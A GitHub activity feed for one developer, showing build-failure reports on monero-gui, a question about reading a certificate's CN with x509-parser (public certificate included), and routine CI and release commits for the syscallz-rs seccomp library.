  RPATH                /usr/local/lib/libX11.a:/usr/local/lib/libXext.a:/usr/X11R6/lib64:
% ../official/monero-gui-v0.17.0.1/monero-wallet-gui
pew pew!
kpcyrd

comment created time in 21 days

issue openedmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

My build failed with an error related to QrCode.hpp:

make: *** No rule to make target 'src/QR-Code-generator/BitBuffer.cpp', needed by 'BitBuffer.o'.  Stop.
make: *** Waiting for unfinished jobs....
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_sv.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_sv.qm'...
    Generated 559 translation(s) (559 finished and 0 unfinished)
    Ignored 108 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_uk.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_uk.qm'...
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_tr.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_tr.qm'...
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_vi.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_vi.qm'...
    Generated 0 translation(s) (0 finished and 0 unfinished)
    Ignored 697 untranslated source text(s)
    Generated 539 translation(s) (539 finished and 0 unfinished)
    Ignored 132 untranslated source text(s)
    Generated 481 translation(s) (481 finished and 0 unfinished)
    Ignored 192 untranslated source text(s)
    Generated 532 translation(s) (532 finished and 0 unfinished)
    Ignored 140 untranslated source text(s)
    Generated 515 translation(s) (515 finished and 0 unfinished)
    Ignored 150 untranslated source text(s)
    Generated 588 translation(s) (588 finished and 0 unfinished)
    Ignored 95 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-tw.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-tw.qm'...
    Generated 545 translation(s) (545 finished and 0 unfinished)
    Ignored 131 untranslated source text(s)
../src/libwalletqt/QRCodeImageProvider.cpp:29:10: fatal error: QrCode.hpp: No such file or directory
   29 | #include "QrCode.hpp"
      |          ^~~~~~~~~~~~
compilation terminated.
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zu.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zu.qm'...
    Generated 578 translation(s) (578 finished and 0 unfinished)
    Ignored 105 untranslated source text(s)
    Generated 0 translation(s) (0 finished and 0 unfinished)
    Ignored 697 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-cn.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-cn.qm'...
make: *** [Makefile:2200: QRCodeImageProvider.o] Error 1
    Generated 634 translation(s) (634 finished and 0 unfinished)
    Ignored 48 untranslated source text(s)

In the code base I found a reference to src/QR-Code-generator/QrCode.hpp but that file doesn't exist.

created time in 22 days

issue commentrusticata/x509-parser

Accessing the CN of a certificate

I've tested the x509-parser-0.8 branch again with the new commit and it's working now! Thanks! :heart:

kpcyrd

comment created time in 23 days

pull request commentmicahflee/torbrowser-launcher

Update setup.py for python3.8 compatibility

@micahflee can you have a look at this patch? It's still necessary to build the new torbrowser-launcher 3.3 with python >= 3.8.

@deskos-xp can you rebase your patch?

Thanks!

deskos-xp

comment created time in 23 days

issue commentrusticata/x509-parser

Accessing the CN of a certificate

Thanks! The new api is very neat, unfortunately it doesn't work for the certificate I've attached. The Display representation of the subject is:

C=US, ST=OR, L=Portland, OID(0.9.2342.19200300.100.1.25)=com, OID(0.9.2342.19200300.100.1.25)=jivesoftware, O=Jive Software, Inc., OU=Hosting

I'm wondering if this is related. openssl is decoding the subject as:

Subject: C = US, ST = OR, L = Portland, DC = com, DC = jivesoftware, O = "Jive Software, Inc.", OU = Hosting, CN = *.hosted.jivesoftware.com
kpcyrd

comment created time in 24 days

issue commentrusticata/x509-parser

Accessing the CN of a certificate

I want to access a specific part :) CN= is the part I'm interested in (sorry in case that wasn't clear)

For the given cert:

-----BEGIN CERTIFICATE-----
MIIE5zCCA8+gAwIBAgIQBvsKfZ5AGSW3Vc8Ldto1hTANBgkqhkiG9w0BAQUFADBp
MSQwIgYJKoZIhvcNAQkBFhVwa2lfYWRtaW5Ac3VuZ2FyZC5jb20xJjAkBgNVBAoT
HVN1bkdhcmQgQXZhaWxhYmlsaXR5IFNlcnZpY2VzMRkwFwYDVQQDExBTQVMgUHVi
bGljIENBIHYxMB4XDTEwMDkwMjE2MzY0OVoXDTExMTAwMTE2MzEwMFowgbQxCzAJ
BgNVBAYTAlVTMQswCQYDVQQIEwJPUjERMA8GA1UEBxMIUG9ydGxhbmQxEzARBgoJ
kiaJk/IsZAEZFgNjb20xHDAaBgoJkiaJk/IsZAEZFgxqaXZlc29mdHdhcmUxHDAa
BgNVBAoTE0ppdmUgU29mdHdhcmUsIEluYy4xEDAOBgNVBAsTB0hvc3RpbmcxIjAg
BgNVBAMTGSouaG9zdGVkLmppdmVzb2Z0d2FyZS5jb20wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC0oornTIyL5YjZMpNwy+V2YJbLqaLrbPrbWFCsNJDx
dnubjfR71aW+YYlUZF8zoq4jFetkblCehyvPEb5tD/l3/WZhiXYOziPDrsEVCngF
3/b0H3Dyk6mNWBZcNpJkdpOx1YB6Zer8eKzFOr7Qj3aevOR/bEe2NARJIaO0Rjwe
YIWY0arKRm6z4nJD8fYAvFV6wRWmHsZO9ci7hiGeW3YL6jQYJqLeuwXm64l0jptb
Qg8r8c1V5BXETlvQJL34gUozEl9jDpzR7KoXtErhlU2ytl9Wg+fOxYuWgx8vER0/
7Hqc/qD5e7B+NtwgfEio7SvNGA/HhjNxW2Wbrx4qooJRAgMBAAGjggE9MIIBOTAO
BgNVHQ8BAf8EBAMCA6gwEQYJYIZIAYb4QgEBBAQDAgbAMCIGA1UdEQQbMBmBF3N1
YmplY3RuYW1lQGV4YW1wbGUuY29tMB8GA1UdIwQYMBaAFDhBxvKFgYP96+IaNpI7
JmEWgRESMFQGA1UdIARNMEswSQYJKoZIhvcNBQYBMDwwOgYIKwYBBQUHAgEWLmh0
dHBzOi8vY2VydGlmaWNhdGUuc3VuZ2FyZC5jb20vU0FTX0NBX0NQUy5wZGYwRQYD
VR0fBD4wPDA6oDigNoY0aHR0cHM6Ly9jZXJ0aWZpY2F0ZS5zdW5nYXJkLmNvbS9T
QVNfUHVibGljX0NBX3YxLmNybDATBgNVHSUEDDAKBggrBgEFBQcDATAdBgNVHQ4E
FgQUhJ99py6oeCYBzcePPjhOxHVDBvwwDQYJKoZIhvcNAQEFBQADggEBAF/DAJgX
f50x8t8Im96AUn4DqC+T0QZIYHihpj2uCwWDbdp5efppqTrk6FrpFOzQy0TRkstb
Q3zKSgduedQiwii9qh88O1h2gbSTqfi55ApOIGoCiiRCqio2p4tbKyqPV3Q0eyYw
K4f9GAOcawvNsI//mx99ol/ZGEamydeL9G0qiKrhqSxd2TGmFaIVJdu9fh59hos4
6t9c4FVyYygdsIeGHkHjpB2bKjZhnJpKRh9dGWctcjdHMITBBqgiRH9OZa/w6SPE
UT+11L6q7MSIXSIMV8kJSUUYE92P7bnAqViTIuu/hHnfmIhiy6t7AuT2QHEhqDab
EF4l5MwdUqs8FvM=
-----END CERTIFICATE-----

The value I'm trying to get is:

*.hosted.jivesoftware.com
kpcyrd

comment created time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 03c07f69fc8a0116bbf695edde52d372c3ee930c

Update README github actions badge

view details

push time in 24 days

created tagkpcyrd/syscallz-rs

tagv0.15.0

Simple seccomp library for rust

created time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 74ca9a6c243e6d3595c8bd824b0fb314915eeb15

Release v0.15.0

view details

push time in 24 days

delete branch kpcyrd/syscallz-rs

delete branch : ci

delete time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 1d6aef0d1a62fc7ec67ade0d09adb4ebd9dd7f56

Fix test for aarch64

view details

kpcyrd

commit sha f77d7738c88916e78e769a9fd93976d430195afc

Update syscall list

view details

kpcyrd

commit sha 44470cd369c0d91057ced83e972f2714432eb913

Fix `break` for powerpc64

view details

kpcyrd

commit sha 32b5c4d89e2bff857dad199793b472798502cd6e

Geneate mipsel/mips64el list

view details

kpcyrd

commit sha 10c497bd1a460bb8f4d894f2493ff0920ff12738

Mark syscall enum as non_exhaustive

view details

kpcyrd

commit sha e693b9b715584d307e7c097bd33a65e87aec8ddf

Add github actions for CI

view details

kpcyrd

commit sha 9f8c409386863d202728d8a461bf8534929846c4

Run regular tests on github actions

view details

kpcyrd

commit sha 43d0be20ea80642d91478db8442ab5209e3229c8

Remove travis

view details

kpcyrd

commit sha 231c2d65d3d6d5e24df7983c9af8d73eef5b52e0

Merge pull request #16 from kpcyrd/ci Add github actions for CI

view details

push time in 24 days

PR merged kpcyrd/syscallz-rs

Add github actions for CI
+878 -31

0 comment

20 changed files

kpcyrd

pr closed time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 43d0be20ea80642d91478db8442ab5209e3229c8

Remove travis

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 9f8c409386863d202728d8a461bf8534929846c4

Run regular tests on github actions

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha d5aac54397334fee3c1f8626ae0888cf49a04597

Run regular tests on github actions

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 32b5c4d89e2bff857dad199793b472798502cd6e

Geneate mipsel/mips64el list

view details

kpcyrd

commit sha 10c497bd1a460bb8f4d894f2493ff0920ff12738

Mark syscall enum as non_exhaustive

view details

kpcyrd

commit sha e693b9b715584d307e7c097bd33a65e87aec8ddf

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 78c1c297dcd0e55fe4627d2f70586551f546d2f0

Fix target_arch=mips

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha a2f77b1c6de36983f90dd886b8bc28d340327ee5

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha acfc02b74002cb4eec7f78f3903a4bfabc222cd4

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 31705b0327a38f89a60a7bd754dd5c09254ad964

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha c8d399bc6c97ecb00109756fd1a95b76b66e7c50

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 3e089961862e09e47d9945e9b065dc20290e4eef

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 7775c7a8227496ffb511b2f642ecb7aaecffeeac

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 2da509edcd0bbc692fbbada688e7f537b7273eee

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 05db085bd264194f108cc6c64cc1c85e86821592

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha a169d6abb3852b2ccb6258a03b520c4934b0aec3

Add github actions for CI

view details

push time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha 5aa384271cd829f6924ca85bb56d8d5b8a6fc61a

Add github actions for CI

view details

push time in 24 days

PR opened kpcyrd/syscallz-rs

Add github actions for CI
+855 -3

0 comment

16 changed files

pr created time in 24 days

push eventkpcyrd/syscallz-rs

kpcyrd

commit sha db528a155fde4e47ad9de9c745ebe0f8ab213f2b

Add github actions for CI

view details

push time in 24 days

create barnchkpcyrd/syscallz-rs

branch : ci

created branch time in 24 days

pull request commentcjdelisle/cjdns

Switch build system to use Rust, allow Rust in codebase, switch to sodiumoxide + Libuv-sys2

I'm not proficient enough in C to review this in-depth, but it looks reasonable. If the binaries like sybilsim and publictoip6 aren't meant to be shipped in packages we could also consider moving them from sybilsim/src/main.rs to examples/sybilsim.rs. The binaries show up in target/debug/examples and can be built with cargo build --examples. You can invoke them directly with cargo run --example sybilsim.

The example folder would need to be part of another crate though, so I'm wondering if it'd make sense to move the content of rust/cjdns into the project root. Pro: you can simply cd into the cloned directory and run cargo run/build. Con: There'd be a src/ folder that only contains rust files instead of the whole source (as implied by the name).

cjdelisle

comment created time in 25 days

more